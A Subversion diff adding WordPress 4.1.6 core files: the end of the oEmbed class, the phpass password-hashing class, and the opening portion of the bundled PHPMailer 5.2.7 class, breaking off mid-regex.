+		 * Filter the returned oEmbed HTML.
+		 *
+		 * Use this filter to add support for custom data types, or to filter the result.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param string $return The returned oEmbed HTML.
+		 * @param object $data   A data object result from an oEmbed provider.
+		 * @param string $url    The URL of the content to be embedded.
+		 */
+		return apply_filters( 'oembed_dataparse', $return, $data, $url );
+	}
+
+	/**
+	 * Strip any new lines from the HTML.
+	 *
+	 * @access public
+	 * @param string $html Existing HTML.
+	 * @param object $data Data object from WP_oEmbed::data2html()
+	 * @param string $url The original URL passed to oEmbed.
+	 * @return string Possibly modified $html
+	 */
+	public function _strip_newlines( $html, $data, $url ) {
+		if ( false !== strpos( $html, "\n" ) )
+			$html = str_replace( array( "\r\n", "\n" ), '', $html );
+
+		return $html;
+	}
+}
+
+/**
+ * Returns the initialized {@link WP_oEmbed} object
+ *
+ * @since 2.9.0
+ * @access private
+ *
+ * @see WP_oEmbed
+ *
+ * @return WP_oEmbed object.
+ */
+function _wp_oembed_get_object() {
+	static $wp_oembed;
+
+	if ( is_null($wp_oembed) )
+		$wp_oembed = new WP_oEmbed();
+
+	return $wp_oembed;
+}
Index: /tags/4.1.6/src/wp-includes/class-phpass.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-phpass.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-phpass.php	(revision 33402)
@@ -0,0 +1,268 @@
+<?php
+/**
+ * Portable PHP password hashing framework.
+ * @package phpass
+ * @since 2.5.0
+ * @version 0.3 / WordPress
+ * @link http://www.openwall.com/phpass/
+ */
+
+#
+# Written by Solar Designer <solar at openwall.com> in 2004-2006 and placed in
+# the public domain.  Revised in subsequent years, still public domain.
+#
+# There's absolutely no warranty.
+#
+# Please be sure to update the Version line if you edit this file in any way.
+# It is suggested that you leave the main version number intact, but indicate
+# your project name (after the slash) and add your own revision information.
+#
+# Please do not change the "private" password hashing method implemented in
+# here, thereby making your hashes incompatible.  However, if you must, please
+# change the hash type identifier (the "$P$") to something different.
+#
+# Obviously, since this code is in the public domain, the above are not
+# requirements (there can be none), but merely suggestions.
+#
+
+/**
+ * Portable PHP password hashing framework.
+ *
+ * @package phpass
+ * @version 0.3 / WordPress
+ * @link http://www.openwall.com/phpass/
+ * @since 2.5.0
+ */
+class PasswordHash {
+	var $itoa64;
+	var $iteration_count_log2;
+	var $portable_hashes;
+	var $random_state;
+
+	function PasswordHash($iteration_count_log2, $portable_hashes)
+	{
+		$this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
+
+		if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31)
+			$iteration_count_log2 = 8;
+		$this->iteration_count_log2 = $iteration_count_log2;
+
+		$this->portable_hashes = $portable_hashes;
+
+		$this->random_state = microtime() . uniqid(rand(), TRUE); // removed getmypid() for compatibility reasons
+	}
+
+	function get_random_bytes($count)
+	{
+		$output = '';
+		if ( @is_readable('/dev/urandom') &&
+		    ($fh = @fopen('/dev/urandom', 'rb'))) {
+			$output = fread($fh, $count);
+			fclose($fh);
+		}
+
+		if (strlen($output) < $count) {
+			$output = '';
+			for ($i = 0; $i < $count; $i += 16) {
+				$this->random_state =
+				    md5(microtime() . $this->random_state);
+				$output .=
+				    pack('H*', md5($this->random_state));
+			}
+			$output = substr($output, 0, $count);
+		}
+
+		return $output;
+	}
+
+	function encode64($input, $count)
+	{
+		$output = '';
+		$i = 0;
+		do {
+			$value = ord($input[$i++]);
+			$output .= $this->itoa64[$value & 0x3f];
+			if ($i < $count)
+				$value |= ord($input[$i]) << 8;
+			$output .= $this->itoa64[($value >> 6) & 0x3f];
+			if ($i++ >= $count)
+				break;
+			if ($i < $count)
+				$value |= ord($input[$i]) << 16;
+			$output .= $this->itoa64[($value >> 12) & 0x3f];
+			if ($i++ >= $count)
+				break;
+			$output .= $this->itoa64[($value >> 18) & 0x3f];
+		} while ($i < $count);
+
+		return $output;
+	}
+
+	function gensalt_private($input)
+	{
+		$output = '$P$';
+		$output .= $this->itoa64[min($this->iteration_count_log2 +
+			((PHP_VERSION >= '5') ? 5 : 3), 30)];
+		$output .= $this->encode64($input, 6);
+
+		return $output;
+	}
+
+	function crypt_private($password, $setting)
+	{
+		$output = '*0';
+		if (substr($setting, 0, 2) == $output)
+			$output = '*1';
+
+		$id = substr($setting, 0, 3);
+		# We use "$P$", phpBB3 uses "$H$" for the same thing
+		if ($id != '$P$' && $id != '$H$')
+			return $output;
+
+		$count_log2 = strpos($this->itoa64, $setting[3]);
+		if ($count_log2 < 7 || $count_log2 > 30)
+			return $output;
+
+		$count = 1 << $count_log2;
+
+		$salt = substr($setting, 4, 8);
+		if (strlen($salt) != 8)
+			return $output;
+
+		# We're kind of forced to use MD5 here since it's the only
+		# cryptographic primitive available in all versions of PHP
+		# currently in use.  To implement our own low-level crypto
+		# in PHP would result in much worse performance and
+		# consequently in lower iteration counts and hashes that are
+		# quicker to crack (by non-PHP code).
+		if (PHP_VERSION >= '5') {
+			$hash = md5($salt . $password, TRUE);
+			do {
+				$hash = md5($hash . $password, TRUE);
+			} while (--$count);
+		} else {
+			$hash = pack('H*', md5($salt . $password));
+			do {
+				$hash = pack('H*', md5($hash . $password));
+			} while (--$count);
+		}
+
+		$output = substr($setting, 0, 12);
+		$output .= $this->encode64($hash, 16);
+
+		return $output;
+	}
+
+	function gensalt_extended($input)
+	{
+		$count_log2 = min($this->iteration_count_log2 + 8, 24);
+		# This should be odd to not reveal weak DES keys, and the
+		# maximum valid value is (2**24 - 1) which is odd anyway.
+		$count = (1 << $count_log2) - 1;
+
+		$output = '_';
+		$output .= $this->itoa64[$count & 0x3f];
+		$output .= $this->itoa64[($count >> 6) & 0x3f];
+		$output .= $this->itoa64[($count >> 12) & 0x3f];
+		$output .= $this->itoa64[($count >> 18) & 0x3f];
+
+		$output .= $this->encode64($input, 3);
+
+		return $output;
+	}
+
+	function gensalt_blowfish($input)
+	{
+		# This one needs to use a different order of characters and a
+		# different encoding scheme from the one in encode64() above.
+		# We care because the last character in our encoded string will
+		# only represent 2 bits.  While two known implementations of
+		# bcrypt will happily accept and correct a salt string which
+		# has the 4 unused bits set to non-zero, we do not want to take
+		# chances and we also do not want to waste an additional byte
+		# of entropy.
+		$itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
+
+		$output = '$2a$';
+		$output .= chr(ord('0') + $this->iteration_count_log2 / 10);
+		$output .= chr(ord('0') + $this->iteration_count_log2 % 10);
+		$output .= '$';
+
+		$i = 0;
+		do {
+			$c1 = ord($input[$i++]);
+			$output .= $itoa64[$c1 >> 2];
+			$c1 = ($c1 & 0x03) << 4;
+			if ($i >= 16) {
+				$output .= $itoa64[$c1];
+				break;
+			}
+
+			$c2 = ord($input[$i++]);
+			$c1 |= $c2 >> 4;
+			$output .= $itoa64[$c1];
+			$c1 = ($c2 & 0x0f) << 2;
+
+			$c2 = ord($input[$i++]);
+			$c1 |= $c2 >> 6;
+			$output .= $itoa64[$c1];
+			$output .= $itoa64[$c2 & 0x3f];
+		} while (1);
+
+		return $output;
+	}
+
+	function HashPassword($password)
+	{
+		if ( strlen( $password ) > 4096 ) {
+			return '*';
+		}
+
+		$random = '';
+
+		if (CRYPT_BLOWFISH == 1 && !$this->portable_hashes) {
+			$random = $this->get_random_bytes(16);
+			$hash =
+			    crypt($password, $this->gensalt_blowfish($random));
+			if (strlen($hash) == 60)
+				return $hash;
+		}
+
+		if (CRYPT_EXT_DES == 1 && !$this->portable_hashes) {
+			if (strlen($random) < 3)
+				$random = $this->get_random_bytes(3);
+			$hash =
+			    crypt($password, $this->gensalt_extended($random));
+			if (strlen($hash) == 20)
+				return $hash;
+		}
+
+		if (strlen($random) < 6)
+			$random = $this->get_random_bytes(6);
+		$hash =
+		    $this->crypt_private($password,
+		    $this->gensalt_private($random));
+		if (strlen($hash) == 34)
+			return $hash;
+
+		# Returning '*' on error is safe here, but would _not_ be safe
+		# in a crypt(3)-like function used _both_ for generating new
+		# hashes and for validating passwords against existing hashes.
+		return '*';
+	}
+
+	function CheckPassword($password, $stored_hash)
+	{
+		if ( strlen( $password ) > 4096 ) {
+			return false;
+		}
+
+		$hash = $this->crypt_private($password, $stored_hash);
+		if ($hash[0] == '*')
+			$hash = crypt($password, $stored_hash);
+
+		return $hash === $stored_hash;
+	}
+}
+
+?>
Index: /tags/4.1.6/src/wp-includes/class-phpmailer.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-phpmailer.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-phpmailer.php	(revision 33402)
@@ -0,0 +1,3265 @@
+<?php
+/**
+ * PHPMailer - PHP email creation and transport class.
+ * PHP Version 5.0.0
+ * Version 5.2.7
+ * @package PHPMailer
+ * @link https://github.com/PHPMailer/PHPMailer/
+ * @author Marcus Bointon (coolbru) <phpmailer@synchromedia.co.uk>
+ * @author Jim Jagielski (jimjag) <jimjag@gmail.com>
+ * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
+ * @author Brent R. Matzelle (original founder)
+ * @copyright 2013 Marcus Bointon
+ * @copyright 2010 - 2012 Jim Jagielski
+ * @copyright 2004 - 2009 Andy Prevost
+ * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
+ * @note This program is distributed in the hope that it will be useful - WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE.
+ */
+
+if (version_compare(PHP_VERSION, '5.0.0', '<')) {
+    exit("Sorry, PHPMailer will only run on PHP version 5 or greater!\n");
+}
+
+/**
+ * PHPMailer - PHP email creation and transport class.
+ * PHP Version 5.0.0
+ * @package PHPMailer
+ * @author Marcus Bointon (coolbru) <phpmailer@synchromedia.co.uk>
+ * @author Jim Jagielski (jimjag) <jimjag@gmail.com>
+ * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
+ * @author Brent R. Matzelle (original founder)
+ * @copyright 2013 Marcus Bointon
+ * @copyright 2010 - 2012 Jim Jagielski
+ * @copyright 2004 - 2009 Andy Prevost
+ */
+class PHPMailer
+{
+    /**
+     * The PHPMailer Version number.
+     * @type string
+     */
+    public $Version = '5.2.7';
+
+    /**
+     * Email priority.
+     * Options: 1 = High, 3 = Normal, 5 = low.
+     * @type int
+     */
+    public $Priority = 3;
+
+    /**
+     * The character set of the message.
+     * @type string
+     */
+    public $CharSet = 'iso-8859-1';
+
+    /**
+     * The MIME Content-type of the message.
+     * @type string
+     */
+    public $ContentType = 'text/plain';
+
+    /**
+     * The message encoding.
+     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
+     * @type string
+     */
+    public $Encoding = '8bit';
+
+    /**
+     * Holds the most recent mailer error message.
+     * @type string
+     */
+    public $ErrorInfo = '';
+
+    /**
+     * The From email address for the message.
+     * @type string
+     */
+    public $From = 'root@localhost';
+
+    /**
+     * The From name of the message.
+     * @type string
+     */
+    public $FromName = 'Root User';
+
+    /**
+     * The Sender email (Return-Path) of the message.
+     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
+     * @type string
+     */
+    public $Sender = '';
+
+    /**
+     * The Return-Path of the message.
+     * If empty, it will be set to either From or Sender.
+     * @type string
+     */
+    public $ReturnPath = '';
+
+    /**
+     * The Subject of the message.
+     * @type string
+     */
+    public $Subject = '';
+
+    /**
+     * An HTML or plain text message body.
+     * If HTML then call isHTML(true).
+     * @type string
+     */
+    public $Body = '';
+
+    /**
+     * The plain-text message body.
+     * This body can be read by mail clients that do not have HTML email
+     * capability such as mutt & Eudora.
+     * Clients that can read HTML will view the normal Body.
+     * @type string
+     */
+    public $AltBody = '';
+
+    /**
+     * An iCal message part body.
+     * Only supported in simple alt or alt_inline message types
+     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
+     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
+     * @link http://kigkonsult.se/iCalcreator/
+     * @type string
+     */
+    public $Ical = '';
+
+    /**
+     * The complete compiled MIME message body.
+     * @access protected
+     * @type string
+     */
+    protected $MIMEBody = '';
+
+    /**
+     * The complete compiled MIME message headers.
+     * @type string
+     * @access protected
+     */
+    protected $MIMEHeader = '';
+
+    /**
+     * Extra headers that createHeader() doesn't fold in.
+     * @type string
+     * @access protected
+     */
+    protected $mailHeader = '';
+
+    /**
+     * Word-wrap the message body to this number of chars.
+     * @type int
+     */
+    public $WordWrap = 0;
+
+    /**
+     * Which method to use to send mail.
+     * Options: "mail", "sendmail", or "smtp".
+     * @type string
+     */
+    public $Mailer = 'mail';
+
+    /**
+     * The path to the sendmail program.
+     * @type string
+     */
+    public $Sendmail = '/usr/sbin/sendmail';
+
+    /**
+     * Whether mail() uses a fully sendmail-compatible MTA.
+     * One which supports sendmail's "-oi -f" options.
+     * @type bool
+     */
+    public $UseSendmailOptions = true;
+
+    /**
+     * Path to PHPMailer plugins.
+     * Useful if the SMTP class is not in the PHP include path.
+     * @type string
+     * @deprecated Should not be needed now there is an autoloader.
+     */
+    public $PluginDir = '';
+
+    /**
+     * The email address that a reading confirmation should be sent to.
+     * @type string
+     */
+    public $ConfirmReadingTo = '';
+
+    /**
+     * The hostname to use in Message-Id and Received headers
+     * and as default HELO string.
+     * If empty, the value returned
+     * by SERVER_NAME is used or 'localhost.localdomain'.
+     * @type string
+     */
+    public $Hostname = '';
+
+    /**
+     * An ID to be used in the Message-Id header.
+     * If empty, a unique id will be generated.
+     * @type string
+     */
+    public $MessageID = '';
+
+    /**
+     * The message Date to be used in the Date header.
+     * If empty, the current date will be added.
+     * @type string
+     */
+    public $MessageDate = '';
+
+    /**
+     * SMTP hosts.
+     * Either a single hostname or multiple semicolon-delimited hostnames.
+     * You can also specify a different port
+     * for each host by using this format: [hostname:port]
+     * (e.g. "smtp1.example.com:25;smtp2.example.com").
+     * Hosts will be tried in order.
+     * @type string
+     */
+    public $Host = 'localhost';
+
+    /**
+     * The default SMTP server port.
+     * @type int
+     * @Todo Why is this needed when the SMTP class takes care of it?
+     */
+    public $Port = 25;
+
+    /**
+     * The SMTP HELO of the message.
+     * Default is $Hostname.
+     * @type string
+     * @see PHPMailer::$Hostname
+     */
+    public $Helo = '';
+
+    /**
+     * The secure connection prefix.
+     * Options: "", "ssl" or "tls"
+     * @type string
+     */
+    public $SMTPSecure = '';
+
+    /**
+     * Whether to use SMTP authentication.
+     * Uses the Username and Password properties.
+     * @type bool
+     * @see PHPMailer::$Username
+     * @see PHPMailer::$Password
+     */
+    public $SMTPAuth = false;
+
+    /**
+     * SMTP username.
+     * @type string
+     */
+    public $Username = '';
+
+    /**
+     * SMTP password.
+     * @type string
+     */
+    public $Password = '';
+
+    /**
+     * SMTP auth type.
+     * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
+     * @type string
+     */
+    public $AuthType = '';
+
+    /**
+     * SMTP realm.
+     * Used for NTLM auth
+     * @type string
+     */
+    public $Realm = '';
+
+    /**
+     * SMTP workstation.
+     * Used for NTLM auth
+     * @type string
+     */
+    public $Workstation = '';
+
+    /**
+     * The SMTP server timeout in seconds.
+     * @type int
+     */
+    public $Timeout = 10;
+
+    /**
+     * SMTP class debug output mode.
+     * Options: 0 = off, 1 = commands, 2 = commands and data
+     * @type int
+     * @see SMTP::$do_debug
+     */
+    public $SMTPDebug = 0;
+
+    /**
+     * The function/method to use for debugging output.
+     * Options: "echo" or "error_log"
+     * @type string
+     * @see SMTP::$Debugoutput
+     */
+    public $Debugoutput = "echo";
+
+    /**
+     * Whether to keep SMTP connection open after each message.
+     * If this is set to true then to close the connection
+     * requires an explicit call to smtpClose().
+     * @type bool
+     */
+    public $SMTPKeepAlive = false;
+
+    /**
+     * Whether to split multiple to addresses into multiple messages
+     * or send them all in one message.
+     * @type bool
+     */
+    public $SingleTo = false;
+
+    /**
+     * Storage for addresses when SingleTo is enabled.
+     * @type array
+     * @todo This should really not be public
+     */
+    public $SingleToArray = array();
+
+    /**
+     * Whether to generate VERP addresses on send.
+     * Only applicable when sending via SMTP.
+     * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
+     * @type bool
+     */
+    public $do_verp = false;
+
+    /**
+     * Whether to allow sending messages with an empty body.
+     * @type bool
+     */
+    public $AllowEmpty = false;
+
+    /**
+     * The default line ending.
+     * @note The default remains "\n". We force CRLF where we know
+     *        it must be used via self::CRLF.
+     * @type string
+     */
+    public $LE = "\n";
+
+    /**
+     * DKIM selector.
+     * @type string
+     */
+    public $DKIM_selector = '';
+
+    /**
+     * DKIM Identity.
+     * Usually the email address used as the source of the email
+     * @type string
+     */
+    public $DKIM_identity = '';
+
+    /**
+     * DKIM passphrase.
+     * Used if your key is encrypted.
+     * @type string
+     */
+    public $DKIM_passphrase = '';
+
+    /**
+     * DKIM signing domain name.
+     * @example 'example.com'
+     * @type string
+     */
+    public $DKIM_domain = '';
+
+    /**
+     * DKIM private key file path.
+     * @type string
+     */
+    public $DKIM_private = '';
+
+    /**
+     * Callback Action function name.
+     *
+     * The function that handles the result of the send email action.
+     * It is called out by send() for each email sent.
+     *
+     * Value can be:
+     * - 'function_name' for function names
+     * - 'Class::Method' for static method calls
+     * - array($object, 'Method') for calling methods on $object
+     * See http://php.net/is_callable manual page for more details.
+     *
+     * Parameters:
+     *   bool    $result        result of the send action
+     *   string  $to            email address of the recipient
+     *   string  $cc            cc email addresses
+     *   string  $bcc           bcc email addresses
+     *   string  $subject       the subject
+     *   string  $body          the email body
+     *   string  $from          email address of sender
+     * 
+     * @type string
+     */
+    public $action_function = '';
+
+    /**
+     * What to use in the X-Mailer header.
+     * Options: null for default, whitespace for none, or a string to use
+     * @type string
+     */
+    public $XMailer = '';
+
+    /**
+     * An instance of the SMTP sender class.
+     * @type SMTP
+     * @access protected
+     */
+    protected $smtp = null;
+
+    /**
+     * The array of 'to' addresses.
+     * @type array
+     * @access protected
+     */
+    protected $to = array();
+
+    /**
+     * The array of 'cc' addresses.
+     * @type array
+     * @access protected
+     */
+    protected $cc = array();
+
+    /**
+     * The array of 'bcc' addresses.
+     * @type array
+     * @access protected
+     */
+    protected $bcc = array();
+
+    /**
+     * The array of reply-to names and addresses.
+     * @type array
+     * @access protected
+     */
+    protected $ReplyTo = array();
+
+    /**
+     * An array of all kinds of addresses.
+     * Includes all of $to, $cc, $bcc, $replyto
+     * @type array
+     * @access protected
+     */
+    protected $all_recipients = array();
+
+    /**
+     * The array of attachments.
+     * @type array
+     * @access protected
+     */
+    protected $attachment = array();
+
+    /**
+     * The array of custom headers.
+     * @type array
+     * @access protected
+     */
+    protected $CustomHeader = array();
+
+    /**
+     * The most recent Message-ID (including angular brackets).
+     * @type string
+     * @access protected
+     */
+    protected $lastMessageID = '';
+
+    /**
+     * The message's MIME type.
+     * @type string
+     * @access protected
+     */
+    protected $message_type = '';
+
+    /**
+     * The array of MIME boundary strings.
+     * @type array
+     * @access protected
+     */
+    protected $boundary = array();
+
+    /**
+     * The array of available languages.
+     * @type array
+     * @access protected
+     */
+    protected $language = array();
+
+    /**
+     * The number of errors encountered.
+     * @type integer
+     * @access protected
+     */
+    protected $error_count = 0;
+
+    /**
+     * The S/MIME certificate file path.
+     * @type string
+     * @access protected
+     */
+    protected $sign_cert_file = '';
+
+    /**
+     * The S/MIME key file path.
+     * @type string
+     * @access protected
+     */
+    protected $sign_key_file = '';
+
+    /**
+     * The S/MIME password for the key.
+     * Used only if the key is encrypted.
+     * @type string
+     * @access protected
+     */
+    protected $sign_key_pass = '';
+
+    /**
+     * Whether to throw exceptions for errors.
+     * @type bool
+     * @access protected
+     */
+    protected $exceptions = false;
+
+    /**
+     * Error severity: message only, continue processing
+     */
+    const STOP_MESSAGE = 0;
+
+    /**
+     * Error severity: message, likely ok to continue processing
+     */
+    const STOP_CONTINUE = 1;
+
+    /**
+     * Error severity: message, plus full stop, critical error reached
+     */
+    const STOP_CRITICAL = 2;
+
+    /**
+     * SMTP RFC standard line ending
+     */
+    const CRLF = "\r\n";
+
+    /**
+     * Constructor
+     * @param bool $exceptions Should we throw external exceptions?
+     */
+    public function __construct($exceptions = false)
+    {
+        $this->exceptions = ($exceptions == true);
+    }
+
+    /**
+     * Destructor.
+     */
+    public function __destruct()
+    {
+        if ($this->Mailer == 'smtp') { //close any open SMTP connection nicely
+            $this->smtpClose();
+        }
+    }
+
+    /**
+     * Call mail() in a safe_mode-aware fashion.
+     * Also, unless sendmail_path points to sendmail (or something that
+     * claims to be sendmail), don't pass params (not a perfect fix,
+     * but it will do)
+     * @param string $to To
+     * @param string $subject Subject
+     * @param string $body Message Body
+     * @param string $header Additional Header(s)
+     * @param string $params Params
+     * @access private
+     * @return bool
+     */
+    private function mailPassthru($to, $subject, $body, $header, $params)
+    {
+        if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
+            $rt = @mail($to, $this->encodeHeader($this->secureHeader($subject)), $body, $header);
+        } else {
+            $rt = @mail($to, $this->encodeHeader($this->secureHeader($subject)), $body, $header, $params);
+        }
+        return $rt;
+    }
+
+    /**
+     * Output debugging info via user-defined method.
+     * Only if debug output is enabled.
+     * @see PHPMailer::$Debugoutput
+     * @see PHPMailer::$SMTPDebug
+     * @param string $str
+     */
+    protected function edebug($str)
+    {
+        if (!$this->SMTPDebug) {
+            return;
+        }
+        switch ($this->Debugoutput) {
+            case 'error_log':
+                error_log($str);
+                break;
+            case 'html':
+                //Cleans up output a bit for a better looking display that's HTML-safe
+                echo htmlentities(preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, $this->CharSet) . "<br>\n";
+                break;
+            case 'echo':
+            default:
+                //Just echoes exactly what was received
+                echo $str;
+        }
+    }
+
+    /**
+     * Sets message type to HTML or plain.
+     * @param bool $ishtml True for HTML mode.
+     * @return void
+     */
+    public function isHTML($ishtml = true)
+    {
+        if ($ishtml) {
+            $this->ContentType = 'text/html';
+        } else {
+            $this->ContentType = 'text/plain';
+        }
+    }
+
+    /**
+     * Send messages using SMTP.
+     * @return void
+     */
+    public function isSMTP()
+    {
+        $this->Mailer = 'smtp';
+    }
+
+    /**
+     * Send messages using PHP's mail() function.
+     * @return void
+     */
+    public function isMail()
+    {
+        $this->Mailer = 'mail';
+    }
+
+    /**
+     * Send messages using $Sendmail.
+     * @return void
+     */
+    public function isSendmail()
+    {
+        if (!stristr(ini_get('sendmail_path'), 'sendmail')) {
+            $this->Sendmail = '/var/qmail/bin/sendmail';
+        }
+        $this->Mailer = 'sendmail';
+    }
+
+    /**
+     * Send messages using qmail.
+     * @return void
+     */
+    public function isQmail()
+    {
+        if (stristr(ini_get('sendmail_path'), 'qmail')) {
+            $this->Sendmail = '/var/qmail/bin/sendmail';
+        }
+        $this->Mailer = 'sendmail';
+    }
+
+    /**
+     * Add a "To" address.
+     * @param string $address
+     * @param string $name
+     * @return bool true on success, false if address already used
+     */
+    public function addAddress($address, $name = '')
+    {
+        return $this->addAnAddress('to', $address, $name);
+    }
+
+    /**
+     * Add a "CC" address.
+     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
+     * @param string $address
+     * @param string $name
+     * @return bool true on success, false if address already used
+     */
+    public function addCC($address, $name = '')
+    {
+        return $this->addAnAddress('cc', $address, $name);
+    }
+
+    /**
+     * Add a "BCC" address.
+     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
+     * @param string $address
+     * @param string $name
+     * @return bool true on success, false if address already used
+     */
+    public function addBCC($address, $name = '')
+    {
+        return $this->addAnAddress('bcc', $address, $name);
+    }
+
+    /**
+     * Add a "Reply-to" address.
+     * @param string $address
+     * @param string $name
+     * @return bool
+     */
+    public function addReplyTo($address, $name = '')
+    {
+        return $this->addAnAddress('Reply-To', $address, $name);
+    }
+
+    /**
+     * Add an address to one of the recipient arrays.
+     * Addresses that have been added already return false, but do not throw exceptions
+     * @param string $kind One of 'to', 'cc', 'bcc', 'ReplyTo'
+     * @param string $address The email address to send to
+     * @param string $name
+     * @throws phpmailerException
+     * @return bool true on success, false if address already used or invalid in some way
+     * @access protected
+     */
+    protected function addAnAddress($kind, $address, $name = '')
+    {
+        if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
+            $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
+            if ($this->exceptions) {
+                throw new phpmailerException('Invalid recipient array: ' . $kind);
+            }
+            $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
+            return false;
+        }
+        $address = trim($address);
+        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
+        if (!$this->validateAddress($address)) {
+            $this->setError($this->lang('invalid_address') . ': ' . $address);
+            if ($this->exceptions) {
+                throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
+            }
+            $this->edebug($this->lang('invalid_address') . ': ' . $address);
+            return false;
+        }
+        if ($kind != 'Reply-To') {
+            if (!isset($this->all_recipients[strtolower($address)])) {
+                array_push($this->$kind, array($address, $name));
+                $this->all_recipients[strtolower($address)] = true;
+                return true;
+            }
+        } else {
+            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
+                $this->ReplyTo[strtolower($address)] = array($address, $name);
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
+     * Set the From and FromName properties.
+     * @param string $address
+     * @param string $name
+     * @param bool $auto Whether to also set the Sender address, defaults to true
+     * @throws phpmailerException
+     * @return bool
+     */
+    public function setFrom($address, $name = '', $auto = true)
+    {
+        $address = trim($address);
+        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
+        if (!$this->validateAddress($address)) {
+            $this->setError($this->lang('invalid_address') . ': ' . $address);
+            if ($this->exceptions) {
+                throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
+            }
+            $this->edebug($this->lang('invalid_address') . ': ' . $address);
+            return false;
+        }
+        $this->From = $address;
+        $this->FromName = $name;
+        if ($auto) {
+            if (empty($this->Sender)) {
+                $this->Sender = $address;
+            }
+        }
+        return true;
+    }
+
+    /**
+     * Return the Message-ID header of the last email.
+     * Technically this is the value from the last time the headers were created,
+     * but it's also the message ID of the last sent message except in
+     * pathological cases.
+     * @return string
+     */
+    public function getLastMessageID()
+    {
+        return $this->lastMessageID;
+    }
+
+    /**
+     * Check that a string looks like an email address.
+     * @param string $address The email address to check
+     * @param string $patternselect A selector for the validation pattern to use :
+     *   'auto' - pick best one automatically;
+     *   'pcre8' - use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
+     *   'pcre' - use old PCRE implementation;
+     *   'php' - use PHP built-in FILTER_VALIDATE_EMAIL; faster, less thorough;
+     *   'noregex' - super fast, really dumb.
+     * @return bool
+     * @static
+     * @access public
+     */
+    public static function validateAddress($address, $patternselect = 'auto')
+    {
+        if ($patternselect == 'auto') {
+            if (defined(
+                'PCRE_VERSION'
+            )
+            ) { //Check this instead of extension_loaded so it works when that function is disabled
+                if (version_compare(PCRE_VERSION, '8.0') >= 0) {
+                    $patternselect = 'pcre8';
+                } else {
+                    $patternselect = 'pcre';
+                }
+            } else {
+                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
+                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
+                    $patternselect = 'php';
+                } else {
+                    $patternselect = 'noregex';
+                }
+            }
+        }
+        switch ($patternselect) {
+            case 'pcre8':
+                /**
+                 * Conforms to RFC5322: Uses *correct* regex on which FILTER_VALIDATE_EMAIL is
+                 * based; So why not use FILTER_VALIDATE_EMAIL? Because it was broken to
+                 * not allow a@b type valid addresses :(
+                 * @link http://squiloople.com/2009/12/20/email-address-validation/
+                 * @copyright 2009-2010 Michael Rushton
+                 * Feel free to use and redistribute this code. But please keep this copyright notice.
+                 */
+                return (bool)preg_match(
+                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
+                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
+                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
+                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
+                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
+                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
+                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
+                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
+                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
+                    $address
+                );
+                break;
+            case 'pcre':
+                //An older regex that doesn't need a recent PCRE
+                return (bool)preg_match(
+                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
+                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
